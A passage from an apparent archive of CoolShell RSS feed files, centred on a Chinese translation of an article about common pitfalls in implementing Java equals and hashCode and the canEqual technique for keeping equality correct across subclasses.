src=\"https://coolshell.cn/wp-content/uploads/2013/02/awk-150x150.jpg\" alt=\"AWK 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_title\">AWK 简明教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1042.html\">Linux/Unix 新手和专家教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1042.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>25</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-41.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 41 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=41\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Sun, 05 Jul 2009 13:32:20 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>如何在Java中避免equals方法的隐藏陷阱</title>\n\t\t<link>https://coolshell.cn/articles/1051.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1051.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Thu, 18 Jun 2009 03:14:41 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1051</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>译者注 :你可能会觉得Java很简单，Object的equals实现也会非常简单，但是事实并不是你想象的这样，耐心的读完本文，你会发现你对Java了解的是如此的...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1051.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1051.html\">如何在Java中避免equals方法的隐藏陷阱</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>译者注</strong> :你可能会觉得Java很简单，Object的equals实现也会非常简单，但是事实并不是你想象的这样，耐心的读完本文，你会发现你对Java了解的是如此的少。如果这篇文章是一份Java程序员的入职笔试，那么不知道有多少人会掉落到这样的陷阱中。原文转自<a href=\"http://www.artima.com/lejava/articles/equality.html\">http://www.artima.com/lejava/articles/equality.html</a> 三位作者都是不同领域的大拿，有兴趣的读者可以从上面这个连接直接去阅读原文。</p>\n<p><strong>摘要</strong><br />\n本文描述重载equals方法的技术，这种技术即使是具现类的子类增加了字段也能保证equal语义的正确性。<br />\n在《Effective Java》的第8项中，Josh Bloch描述了当继承类作为面向对象语言中的等价关系的基础问题，要保证派生类的equal正确性语义所会面对的困难。Bloch这样写到：</p>\n<blockquote><p><strong>除非你忘记了面向对象抽象的好处，否则在当你继承一个新类或在类中增加了一个值组件时你无法同时保证equal的语义依然正确</strong></p></blockquote>\n<p><span id=\"more-1051\"></span></p>\n<p>在《Programming in Scala》中的第28章演示了一种方法，这种方法允许即使继承了新类，增加了新的值组件，equal的语义仍然能得到保证。虽然在这本书中这项技术是在使用Scala类环境中，但是这项技术同样可以应用于Java定义的类中。在本文中的描述来自于Programming in Scala中的文字描述，但是代码被我从scala翻译成了Java</p>\n<p>　</p>\n<h4>常见的等价方法陷阱</h4>\n<p>java.lang.Object 类定义了equals这个方法，它的子类可以通过重载来覆盖它。不幸的是，在面向对象中写出正确的equals方法是非常困难的。事实上，在研究了大量的Java代码后，2007 paper的作者得出了如下的一个结论：</p>\n<blockquote><p>几乎所有的equals方法的实现都是错误的！</p></blockquote>\n<p>这个问题是因为等价是和很多其他的事物相关联。例如其中之一，一个的类型C的错误等价方法可能意味着你无法将这个类型C的对象可信赖的放入到容器中。比如说，你有两个元素elem1和elem2他们都是类型C的对象，并且他们是相等，即elem1.equals(elm2)返回ture。但是，只要这个equals方法是错误的实现，那么你就有可能会看见如下的一些行为：</p>\n<pre class=\"brush: java\">Set hashSet&lt;C&gt; = new java.util.HashSet&lt;C&gt;();\nhashSet.add(elem1);\nhashSet.contains(elem2);    // returns false!</pre>\n<p>当equals重载时，这里有4个会引发equals行为不一致的常见陷阱：</p>\n<ol>\n<li>定义了错误的equals方法签名(signature) Defining equals with the wrong signature.</li>\n<li>重载了equals的但没有同时重载hashCode的方法。 Changing equals without also changing hashCode.</li>\n<li>建立在会变化字域上的equals定义。 Defining equals in terms of mutable fields.</li>\n<li>不满足等价关系的equals错误定义 Failing to define equals as an equivalence relation.</li>\n</ol>\n<p>在剩下的章节中我们将依次讨论这4中陷阱。</p>\n<p>　</p>\n<h4>陷阱1：定义错误equals方法签名(signature)</h4>\n<p>考虑为下面这个简单类Point增加一个等价性方法：</p>\n<pre class=\"brush: java\">public class Point {\n\n    private final int x;\n    private final int y;\n\n    public Point(int x, int y) {\n        this.x = x;\n        this.y = y;\n    }\n\n    public int getX() {\n        return x;\n    }\n\n    public int getY() {\n        return y;\n    }\n\n    // ...\n}</pre>\n<p>看上去非常明显，但是按照这种方式来定义equals就是错误的。</p>\n<pre class=\"brush: java\">// An utterly wrong definition of equals\npublic boolean equals(Point other) {\n  return (this.getX() == other.getX() &amp;&amp; this.getY() == other.getY());\n}</pre>\n<p>这个方法有什么问题呢？初看起来，它工作的非常完美：</p>\n<pre class=\"brush: java\">Point p1 = new Point(1, 2);\nPoint p2 = new Point(1, 2);\n\nPoint q = new Point(2, 3);\n\nSystem.out.println(p1.equals(p2)); // prints true\n\nSystem.out.println(p1.equals(q)); // prints false</pre>\n<p>然而，当我们一旦把这个Point类的实例放入到一个容器中问题就出现了：</p>\n<pre class=\"brush: java\">import java.util.HashSet;\n\nHashSet&lt;Point&gt; coll = new HashSet&lt;Point&gt;();\ncoll.add(p1);\n\nSystem.out.println(coll.contains(p2)); // prints false</pre>\n<p>为什么coll中没有包含p2呢？甚至是p1也被加到集合里面，p1和p2是是等价的对象吗？在下面的程序中，我们可以找到其中的一些原因，定义p2a是一个指向p2的对象，但是p2a的类型是Object而非Point类型：</p>\n<pre class=\"brush: java\">Object p2a = p2;</pre>\n<p>现在我们重复第一个比较，但是不再使用p2而是p2a,我们将会得到如下的结果：</p>\n<pre class=\"brush: java\">System.out.println(p1.equals(p2a)); // prints false</pre>\n<p>到底是那里出了了问题？事实上，之前所给出的equals版本并没有覆盖Object类的equals方法，因为他的类型不同。下面是Object的equals方法的定义</p>\n<pre class=\"brush: java\">public boolean equals(Object other)</pre>\n<p>因为Point类中的equals方法使用的是以Point类而非Object类做为参数，因此它并没有覆盖Object中的equals方法。而是一种变化了的重载。在Java中重载被解析为静态的参数类型而非运行期的类型，因此当静态参数类型是Point,Point的equals方法就被调用。然而当静态参数类型是Object时，Object类的equals就被调用。因为这个方法并没有被覆盖，因此它仍然是实现成比较对象标示。这就是为什么虽然p1和p2a具有同样的x,y值，&#8221;p1.equals(p2a)&#8221;仍然返回了false。这也是会什么HasSet的contains方法返回false的原因，因为这个方法操作的是泛型，他调用的是一般化的Object上equals方法而非Point类上变化了的重载方法equals</p>\n<p>一个更好但不完美的equals方法定义如下：</p>\n<pre class=\"brush: java\">// A better definition, but still not perfect\n@Override public boolean equals(Object other) {\n    boolean result = false;\n    if (other instanceof Point) {\n        Point that = (Point) other;\n        result = (this.getX() == that.getX() &amp;&amp; this.getY() == that.getY());\n    }\n    return result;\n}</pre>\n<p>现在equals有了正确的类型，它使用了一个Object类型的参数和一个返回布尔型的结果。这个方法的实现使用instanceof操作和做了一个造型。它首先检查这个对象是否是一个Point类，如果是，他就比较两个点的坐标并返回结果，否则返回false。</p>\n<p>　</p>\n<h4>陷阱2：重载了equals的但没有同时重载hashCode的方法</h4>\n<p>如果你使用上一个定义的Point类进行p1和p2a的反复比较，你都会得到你预期的true的结果。但是如果你将这个类对象放入到HashSet.contains()方法中测试，你就有可能仍然得到false的结果：</p>\n<pre class=\"brush: java\">Point p1 = new Point(1, 2);\nPoint p2 = new Point(1, 2);\n\nHashSet&lt;Point&gt; coll = new HashSet&lt;Point&gt;();\ncoll.add(p1);\n\nSystem.out.println(coll.contains(p2)); // 打印 false (有可能)</pre>\n<p>事实上，这个个结果不是100%的false，你也可能有返回ture的经历。如果你得到的结果是true的话，那么你试试其他的坐标值，最终你一定会得到一个在集合中不包含的结果。导致这个结果的原因是Point重载了equals却没有重载hashCode。<br />\n注意上面例子的的容器是一个HashSet，这就意味着容器中的元素根据他们的哈希码被被放入到&#8221;哈希桶 hash buckets&#8221;中。contains方法首先根据哈希码在哈希桶中查找，然后让桶中的所有元素和所给的参数进行比较。现在，虽然最后一个Point类的版本重定义了equals方法，但是它并没有同时重定义hashCode。因此，hashCode仍然是Object类的那个版本，即：所分配对象的一个地址的变换。所以p1和p2的哈希码理所当然的不同了，甚至是即时这两个点的坐标完全相同。不同的哈希码导致他们具有极高的可能性被放入到集合中不同的哈希桶中。contains方法将会去找p2的哈希码对应哈希桶中的匹配元素。但是大多数情况下，p1一定是在另外一个桶中，因此，p2永远找不到p1进行匹配。当然p2和p2也可能偶尔会被放入到一个桶中，在这种情况下，contains的结果就为true了。</p>\n<p>最新一个Point类实现的问题是，它的实现违背了作为Object类的定义的hashCode的语义。</p>\n<blockquote><p><strong><br />\n如果两个对象根据equals(Object)方法是相等的，那么在这两个对象上调用hashCode方法应该产生同样的值<br />\n</strong></p></blockquote>\n<p>事实上，在Java中，hashCode和equals需要一起被重定义是众所周知的。此外，hashCode只可以依赖于equals依赖的域来产生值。对于Point这个类来说，下面的的hashCode定义是一个非常合适的定义。</p>\n<pre class=\"brush: java\">public class Point {\n\n    private final int x;\n    private final int y;\n\n    public Point(int x, int y) {\n        this.x = x;\n        this.y = y;\n    }\n\n    public int getX() {\n        return x;\n    }\n\n    public int getY() {\n        return y;\n    }\n\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof Point) {\n            Point that = (Point) other;\n            result = (this.getX() == that.getX() &amp;&amp; this.getY() == that.getY());\n        }\n        return result;\n    }\n<span style=\"color: #339966;\">\n    @Override public int hashCode() {\n        return (41 * (41 + getX()) + getY());\n    }\n</span>\n}</pre>\n<p>这只是hashCode一个可能的实现。x域加上常量41后的结果再乘与41并将结果在加上y域的值。这样做就可以以低成本的运行时间和低成本代码大小得到一个哈希码的合理的分布(<strong>译者注：</strong>性价比相对较高的做法)。<br />\n增加hashCode方法重载修正了定义类似Point类等价性的问题。然而，关于类的等价性仍然有其他的问题点待发现。</p>\n<p>　</p>\n<h4>陷阱3：建立在会变化字段上的equals定义</h4>\n<p>让我们在Point类做一个非常微小的变化</p>\n<pre class=\"brush: java\">public class Point {\n<span style=\"color: #339966;\">\n    private int x;\n    private int y;\n</span>\n    public Point(int x, int y) {\n        this.x = x;\n        this.y = y;\n    }\n\n    public int getX() {\n        return x;\n    }\n\n    public int getY() {\n        return y;\n    }\n<span style=\"color: #339966;\">\n    public void setX(int x) { // Problematic\n        this.x = x;\n    }\n\n    public void setY(int y) {\n        this.y = y;\n    }\n</span>\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof Point) {\n            Point that = (Point) other;\n            result = (this.getX() == that.getX() &amp;&amp; this.getY() == that.getY());\n        }\n        return result;\n    }\n\n    @Override public int hashCode() {\n        return (41 * (41 + getX()) + getY());\n    }\n}</pre>\n<p>唯一的不同是x和y域不再是final，并且两个set方法被增加到类中来，并允许客户改变x和y的值。equals和hashCode这个方法的定义现在是基于在这两个会发生变化的域上，因此当他们的域的值改变时，结果也就跟着改变。因此一旦你将这个point对象放入到集合中你将会看到非常神奇的效果。</p>\n<pre class=\"brush: java\">Point p = new Point(1, 2);\n\nHashSet&lt;Point&gt; coll = new HashSet&lt;Point&gt;();\ncoll.add(p);\n\nSystem.out.println(coll.contains(p)); // 打印 true</pre>\n<p>现在如果你改变p中的一个域，这个集合中还会包含point吗，我们将拭目以待。</p>\n<pre class=\"brush: java\">p.setX(p.getX() + 1);\n\nSystem.out.println(coll.contains(p)); // (有可能)打印 false</pre>\n<p>看起来非常的奇怪。p去那里去了？如果你通过集合的迭代器来检查p是否包含，你将会得到更奇怪的结果。</p>\n<pre class=\"brush: java\">Iterator&lt;Point&gt; it = coll.iterator();\nboolean containedP = false;\nwhile (it.hasNext()) {\n    Point nextP = it.next();\n    if (nextP.equals(p)) {\n        containedP = true;\n        break;\n    }\n}\n\nSystem.out.println(containedP); // 打印 true</pre>\n<p>结果是，集合中不包含p，但是p在集合的元素中！到底发生了什么！当然，所有的这一切都是在x域的修改后才发生的，p最终的的hashCode是在集合coll错误的哈希桶中。即，原始哈希桶不再有其新值对应的哈希码。换句话说，p已经在集合coll的是视野范围之外，虽然他仍然属于coll的元素。</p>\n<p>从这个例子所得到的教训是，当equals和hashCode依赖于会变化的状态时，那么就会给用户带来问题。如果这样的对象被放入到集合中，用户必须小心，不要修改这些这些对象所依赖的状态，这是一个小陷阱。如果你需要根据对象当前的状态进行比较的话，你应该不要再重定义equals，应该起其他的方法名字而不是equals。对于我们的Point类的最后的定义，我们最好省略掉hashCode的重载，并将比较的方法名命名为equalsContents，或其他不同于equals的名字。那么Point将会继承原来默认的equals和hashCode的实现，因此当我们修改了x域后p依然会呆在其原来在容器中应该在位置。</p>\n<p>　</p>\n<h4>陷阱4：不满足等价关系的equals错误定义</h4>\n<p>Object中的equals的规范阐述了equals方法必须实现在非null对象上的等价关系：</p>\n<ul>\n<li>自反原则：对于任何非null值X,表达式x.equals(x)总返回true。</li>\n<li>等价性：对于任何非空值x和y，那么当且仅当y.equals(x)返回真时，x.equals(y)返回真。</li>\n<li>传递性：对于任何非空值x,y,和z，如果x.equals(y)返回真，且y.equals(z)也返回真，那么x.equals(z)也应该返回真。</li>\n<li>一致性：对于非空x,y，多次调用x.equals(y)应该一致的返回真或假。提供给equals方法比较使用的信息不应该包含改过的信息。</li>\n<li>对于任何非空值x,x.equals(null)应该总返回false.</li>\n</ul>\n<p>Point类的equals定义已经被开发成了足够满足equals规范的定义。然而，当考虑到继承的时候，事情就开始变得非常复杂起来。比如说有一个Point的子类ColoredPoint，它比Point多增加了一个类型是Color的color域。假设Color被定义为一个枚举类型：</p>\n<pre class=\"brush: java\">public enum Color {\n    RED, ORANGE, YELLOW, GREEN, BLUE, INDIGO, VIOLET;\n}</pre>\n<p>ColoredPoint重载了equals方法，并考虑到新加入color域，代码如下：</p>\n<pre class=\"brush: java\">public class ColoredPoint extends Point { // Problem: equals not symmetric\n\n    private final Color color;\n\n    public ColoredPoint(int x, int y, Color color) {\n        super(x, y);\n        this.color = color;\n    }\n\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof ColoredPoint) {\n            ColoredPoint that = (ColoredPoint) other;\n            result = (this.color.equals(that.color) &amp;&amp; super.equals(that));\n        }\n        return result;\n    }\n}</pre>\n<p>这是很多程序员都有可能写成的代码。注意在本例中，类ColoredPointed不需要重载hashCode，因为新的ColoredPoint类上的equals定义，严格的重载了Point上equals的定义。hashCode的规范仍然是有效，如果两个着色点(colored point)相等，其坐标必定相等，因此它的hashCode也保证了具有同样的值。</p>\n<p>对于ColoredPoint类自身对象的比较是没有问题的，但是如果使用ColoredPoint和Point混合进行比较就要出现问题。</p>\n<pre class=\"brush: java\">Point p = new Point(1, 2);\n\nColoredPoint cp = new ColoredPoint(1, 2, Color.RED);\n\nSystem.out.println(p.equals(cp)); // 打印真 true\n\nSystem.out.println(cp.equals(p)); // 打印假 false</pre>\n<p>&#8220;p等价于cp&#8221;的比较这个调用的是定义在Point类上的equals方法。这个方法只考虑两个点的坐标。因此比较返回真。在另外一方面，“cp等价于p”的比较这个调用的是定义在ColoredPoint类上的equals方法，返回的结果却是false，这是因为p不是ColoredPoint，所以equals这个定义违背了对称性。</p>\n<p>违背对称性对于集合来说将导致不可以预期的后果，例如：</p>\n<pre class=\"brush: java\">Set&lt;Point&gt; hashSet1 = new java.util.HashSet&lt;Point&gt;();\nhashSet1.add(p);\nSystem.out.println(hashSet1.contains(cp));    // 打印 false\n\nSet&lt;Point&gt; hashSet2 = new java.util.HashSet&lt;Point&gt;();\nhashSet2.add(cp);\nSystem.out.println(hashSet2.contains(p));    // 打印 true</pre>\n<p>因此虽然p和cp是等价的，但是contains测试中一个返回成功，另外一个却返回失败。<br />\n你如何修改equals的定义，才能使得这个方法满足对称性？本质上说有两种方法，你可以使得这种关系变得更一般化或更严格。更一般化的意思是这一对对象，a和b，被用于进行对比，无论是a比b还是b比a 都返回true，下面是代码：</p>\n<pre class=\"brush: java\">public class ColoredPoint extends Point { // Problem: equals not transitive\n\n    private final Color color;\n\n    public ColoredPoint(int x, int y, Color color) {\n        super(x, y);\n        this.color = color;\n    }\n\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof ColoredPoint) {\n            ColoredPoint that = (ColoredPoint) other;\n            result = (this.color.equals(that.color) &amp;&amp; super.equals(that));\n        }\n        else if (other instanceof Point) {\n            Point that = (Point) other;\n            result = that.equals(this);\n        }\n        return result;\n    }\n}</pre>\n<p>在ColoredPoint中的equals的新定义比老定义中检查了更多的情况:如果对象是一个Point对象而不是ColoredPoint，方法就转变为Point类的equals方法调用。这个所希望达到的效果就是equals的对称性，不管&#8221;cp.equals(p)&#8221;还是&#8221;p.equals(cp)&#8221;的结果都是true。然而这种方法，equals的规范还是被破坏了，现在的问题是这个新等价性不满足传递性。考虑下面的一段代码实例，定义了一个点和这个点上上两种不同颜色点：</p>\n<pre class=\"brush: java\">ColoredPoint redP = new ColoredPoint(1, 2, Color.RED);\nColoredPoint blueP = new ColoredPoint(1, 2, Color.BLUE);</pre>\n<p>redP等价于p，p等价于blueP</p>\n<pre class=\"brush: java\">System.out.println(redP.equals(p)); // prints true\n\nSystem.out.println(p.equals(blueP)); // prints true</pre>\n<p>然而，对比redP和blueP的结果是false:</p>\n<pre class=\"brush: java\">System.out.println(redP.equals(blueP)); // 打印 false</pre>\n<p>因此，equals的传递性就被违背了。<br />\n使equals的关系更一般化似乎会将我们带入到死胡同。我们应该采用更严格化的方法。一种更严格化的equals方法是认为不同类的对象是不同的。这个可以通过修改Point类和ColoredPoint类的equals方法来达到。你能增加额外的比较来检查是否运行态的这个Point类和那个Point类是同一个类，就像如下所示的代码一样：</p>\n<pre class=\"brush: java\">// A technically valid, but unsatisfying, equals method\npublic class Point {\n\n    private final int x;\n    private final int y;\n\n    public Point(int x, int y) {\n        this.x = x;\n        this.y = y;\n    }\n\n    public int getX() {\n        return x;\n    }\n\n    public int getY() {\n        return y;\n    }\n\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof Point) {\n            Point that = (Point) other;\n            result = (this.getX() == that.getX() &amp;&amp; this.getY() == that.getY()\n                    <span style=\"color: #339966;\">&amp;&amp; this.getClass().equals(that.getClass())</span>);\n        }\n        return result;\n    }\n\n    @Override public int hashCode() {\n        return (41 * (41 + getX()) + getY());\n    }\n}</pre>\n<p>你现在可以将ColoredPoint类的equals实现用回刚才那个不满足对称性要的equals实现了。</p>\n<pre class=\"brush: java\">public class ColoredPoint extends Point { // 不再违反对称性需求\n\n    private final Color color;\n\n    public ColoredPoint(int x, int y, Color color) {\n        super(x, y);\n        this.color = color;\n    }\n\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof ColoredPoint) {\n            ColoredPoint that = (ColoredPoint) other;\n            result = (this.color.equals(that.color) &amp;&amp; super.equals(that));\n        }\n        return result;\n    }\n}</pre>\n<p>这里，Point类的实例只有当和另外一个对象是同样类，并且有同样的坐标时候，他们才被认为是相等的，即意味着 .getClass()返回的是同样的值。这个新定义的等价关系满足了对称性和传递性因为对于比较对象是不同的类时结果总是false。所以着色点(colored point)永远不会等于点(point)。通常这看起来非常合理，但是这里也存在着另外一种争论——这样的比较过于严格了。</p>\n<p>考虑我们如下这种稍微的迂回的方式来定义我们的坐标点(1,2)</p>\n<pre class=\"brush: java\">Point pAnon = new Point(1, 1) {\n    @Override public int getY() {\n        return 2;\n    }\n};</pre>\n<p>pAnon等于p吗？答案是假，因为p和pAnon的java.lang.Class对象不同。p是Point，而pAnon是Point的一个匿名派生类。但是，非常清晰的是pAnon的确是在坐标1，2上的另外一个点。所以将他们认为是不同的点是没有理由的。</p>\n<p>　</p>\n<h4>canEqual 方法</h4>\n<p>到此，我们看其来似乎是遇到阻碍了，存在着一种正常的方式不仅可以在不同类继承层次上定义等价性，并且保证其等价的规范性吗？事实上，的确存在这样的一种方法，但是这就要求除了重定义equals和hashCode外还要另外的定义一个方法。基本思路就是在重载equals(和hashCode)的同时，它应该也要要明确的声明这个类的对象永远不等价于其他的实现了不同等价方法的超类的对象。为了达到这个目标，我们对每一个重载了equals的类新增一个方法canEqual方法。这个方法的方法签名是：</p>\n<pre class=\"brush: java\">public boolean canEqual(Object other)</pre>\n<p>如果other 对象是canEquals(重)定义那个类的实例时，那么这个方法应该返回真，否则返回false。这个方法由equals方法调用，并保证了两个对象是可以相互比较的。下面Point类的新的也是最终的实现：</p>\n<pre class=\"brush: java\">public class Point {\n\n    private final int x;\n    private final int y;\n\n    public Point(int x, int y) {\n        this.x = x;\n        this.y = y;\n    }\n\n    public int getX() {\n        return x;\n    }\n\n    public int getY() {\n        return y;\n    }\n\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof Point) {\n            Point that = (Point) other;\n            result =<span style=\"color: #339966;\">(that.canEqual(this) &amp;&amp; </span>this.getX() == that.getX() &amp;&amp; this.getY() == that.getY());\n        }\n        return result;\n    }\n\n    @Override public int hashCode() {\n        return (41 * (41 + getX()) + getY());\n    }\n<span style=\"color: #339966;\">\n    public boolean canEqual(Object other) {\n        return (other instanceof Point);\n    }\n</span>\n}</pre>\n<p>这个版本的Point类的equals方法中包含了一个额外的需求，通过canEquals方法来决定另外一个对象是否是是满足可以比较的对象。在Point中的canEqual宣称了所有的Point类实例都能被比较。</p>\n<p>下面是ColoredPoint相应的实现</p>\n<pre class=\"brush: java\">public class ColoredPoint extends Point { // 不再违背对称性\n\n    private final Color color;\n\n    public ColoredPoint(int x, int y, Color color) {\n        super(x, y);\n        this.color = color;\n    }\n\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof ColoredPoint) {\n            ColoredPoint that = (ColoredPoint) other;\n            result = <span style=\"color: #339966;\">(that.canEqual(this) &amp;&amp; </span>this.color.equals(that.color) &amp;&amp; super.equals(that));\n        }\n        return result;\n    }\n\n    @Override public int hashCode() {\n        return (41 * super.hashCode() + color.hashCode());\n    }\n<span style=\"color: #339966;\">\n    @Override public boolean canEqual(Object other) {\n        return (other instanceof ColoredPoint);\n    }\n</span>}</pre>\n<p>在上显示的新版本的Point类和ColoredPoint类定义保证了等价的规范。等价是对称和可传递的。比较一个Point和ColoredPoint类总是返回false。因为点p和着色点cp,“p.equals(cp)返回的是假。并且，因为cp.canEqual(p)总返回false。相反的比较，cp.equals(p)同样也返回false，由于p不是一个ColoredPoint，所以在ColoredPoint的equals方法体内的第一个instanceof检查就失败了。</p>\n<p>另外一个方面，不同的Point子类的实例却是可以比较的，同样没有重定义等价性方法的类也是可以比较的。对于这个新类的定义，p和pAnon的比较将总返回true。下面是一些例子：</p>\n<pre class=\"brush: java\">Point p = new Point(1, 2);\n\nColoredPoint cp = new ColoredPoint(1, 2, Color.INDIGO);\n\nPoint pAnon = new Point(1, 1) {\n    @Override public int getY() {\n        return 2;\n    }\n};\n\nSet&lt;Point&gt; coll = new java.util.HashSet&lt;Point&gt;();\ncoll.add(p);\n\nSystem.out.println(coll.contains(p)); // 打印 true\n\nSystem.out.println(coll.contains(cp)); // 打印 false\n\nSystem.out.println(coll.contains(pAnon)); // 打印 true</pre>\n<p>这些例子显示了如果父类在equals的实现定义并调用了canEquals，那么开发人员实现的子类就能决定这个子类是否可以和它父类的实例进行比较。例如ColoredPoint，因为它以&#8221;一个着色点永远不可以等于普通不带颜色的点重载了&#8221; canEqual，所以他们就不能比较。但是因为pAnon引用的匿名子类没有重载canEqual,因此它的实例就可以和Point的实例进行对比。</p>\n<p>canEqual方法的一个潜在的争论是它是否违背了Liskov替换准则(LSP)。例如，通过比较运行态的类来实现的比较技术(<strong>译者注：</strong> canEqual的前一版本，使用.getClass()的那个版本)，将导致不能定义出一个子类，这个子类的实例可以和其父类进行比较，因此就违背了LSP。这是因为，LSP原则是这样的，在任何你能使用父类的地方你都可以使用子类去替换它。在之前例子中，虽然cp的x,y坐标匹配那些在集合中的点，然而&#8221;coll.contains(cp)&#8221;仍然返回false，这看起来似乎违背得了LSP准则，因为你不能这里能使用Point的地方使用一个ColoredPointed。但是我们认为这种解释是错误的，因为LSP原则并没有要求子类和父类的行为一致，而仅要求其行为能一种方式满足父类的规范。</p>\n<p>通过比较运行态的类来编写equals方法(<strong>译者注：</strong> canEqual的前一版本，使用.getClass()的那个版本)的问题并不是违背LSP准则的问题，但是它也没有为你指明一种创建派生类的实例能和父类实例进行对比的的方法。例如，我们使用这种运行态比较的技术在之前的&#8221;coll.contains(pAnon)&#8221;将会返回false，并且这并不是我们希望的。相反我们希望“coll.contains(cp)”返回false，因为通过在ColoredPoint中重载的equals，我基本上可以说，一个在坐标1，2上着色点和一个坐标1，2上的普通点并不是一回事。然而，在最后的例子中，我们能传递Point两种不同的子类实例到集合中contains方法，并且我们能得到两个不同的答案，并且这两个答案都正确。</p>\n<p><strong>&#8211;全文完&#8211;</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" 